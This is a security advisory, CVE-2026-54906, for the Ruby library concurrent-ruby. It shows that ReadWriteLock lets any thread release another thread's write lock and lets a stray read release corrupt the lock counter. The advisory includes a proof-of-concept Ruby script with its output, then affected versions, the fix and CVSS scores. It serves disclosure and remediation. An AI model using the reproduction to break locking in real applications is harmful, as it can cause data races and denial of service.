CVE-2026-54906
Published:June 19, 2026
Updated:June 21, 2026
Summary "Concurrent::ReadWriteLock#release_write_lock" does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. "Concurrent::ReadWriteLock#release_read_lock" also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from "0" to "-1", after which normal read acquisition raises "Concurrent::ResourceLimitError". This is a synchronization correctness issue in the public "Concurrent::ReadWriteLock" API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary. Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details "release_write_lock" checks only whether the global counter indicates that a writer is running. It does not track or verify ownership: def release_write_lock return true unless running_writer? c = @Counter.update { |counter| counter - RUNNING_WRITER } @ReadLock.broadcast @WriteLock.signal if waiting_writers(c) > 0 true end Because ownership is not checked, a different thread can clear the "RUNNING_WRITER" bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer. "release_read_lock" unconditionally decrements the shared counter: def release_read_lock while true c = @Counter.value if @Counter.compare_and_set(c, c-1) if waiting_writer?(c) && running_readers(c) == 1 @WriteLock.signal end break end end true end On a fresh lock, this changes the counter from "0" to "-1". A later "acquire_read_lock" raises "Concurrent::ResourceLimitError" because the maximum-reader check masks the negative counter as saturated. Reproduce From the root of a "concurrent-ruby" checkout, run: ruby -Ilib/concurrent-ruby - <<'RUBY' require 'concurrent/atomic/read_write_lock' require 'concurrent/version' require 'thread' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=ReadWriteLock release methods corrupt or bypass lock state" lock = Concurrent::ReadWriteLock.new events = Queue.new writer1_inside = false writer1 = Thread.new do lock.acquire_write_lock writer1_inside = true events << :writer1_acquired sleep 0.5 writer1_inside = false lock.release_write_lock events << :writer1_finished end events.pop puts 'writer1_acquired=true' intruder_result = nil intruder = Thread.new do intruder_result = lock.release_write_lock end intruder.join puts "wrong_thread_release_write_lock_returned=#{intruder_result}" writer2_entered_while_writer1_inside = nil writer2 = Thread.new do lock.acquire_write_lock writer2_entered_while_writer1_inside = writer1_inside lock.release_write_lock end writer2.join(0.25) puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}" writer1.join lock2 = Concurrent::ReadWriteLock.new stray_read_release_result = lock2.release_read_lock counter_after_stray_read_release = lock2.instance_eval { @Counter.value } read_after_stray_release = begin lock2.acquire_read_lock 'acquired' rescue => error "#{error.class}: #{error.message}" end puts "stray_release_read_lock_returned=#{stray_read_release_result}" puts "counter_after_stray_read_release=#{counter_after_stray_read_release}" puts "acquire_read_after_stray_release=#{read_after_stray_release}" if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1 puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption' else puts 'result=NOT_REPRODUCED' end Expected result: - A second thread successfully calls "release_write_lock" while the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section. - Calling "release_read_lock" on a fresh lock changes the counter to "-1". - A subsequent read acquisition fails with "Concurrent::ResourceLimitError". Log evidence Local reproduction output: ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=ReadWriteLock release methods corrupt or bypass lock state writer1_acquired=true wrong_thread_release_write_lock_returned=true writer2_acquired_while_writer1_inside=true stray_release_read_lock_returned=true counter_after_stray_read_release=-1 acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads result=REPRODUCED wrong-thread write release and stray read-release corruption Impact This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release. The impact is local to applications that expose or misuse the manual "acquire_" / "release_" APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter. Credit Pranjali Thakur - depthfirst ("depthfirst.com" (http://depthfirst.com))
Affected Packages
https://github.com/ruby-concurrency/concurrent-ruby.git (GITHUB):
Affected version(s) >=v0.3.0.pre.2 <v1.3.7Fix Suggestion:
Update to version v1.3.7concurrent-ruby (RUBY):
Affected version(s) >=0.0.1 <1.3.7Fix Suggestion:
Update to version 1.3.7Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
2.1
Attack Vector
LOCAL
Attack Complexity
HIGH
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
LOW
Vulnerable System Availability
LOW
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
4
Attack Vector
LOCAL
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
LOW
Availability
LOW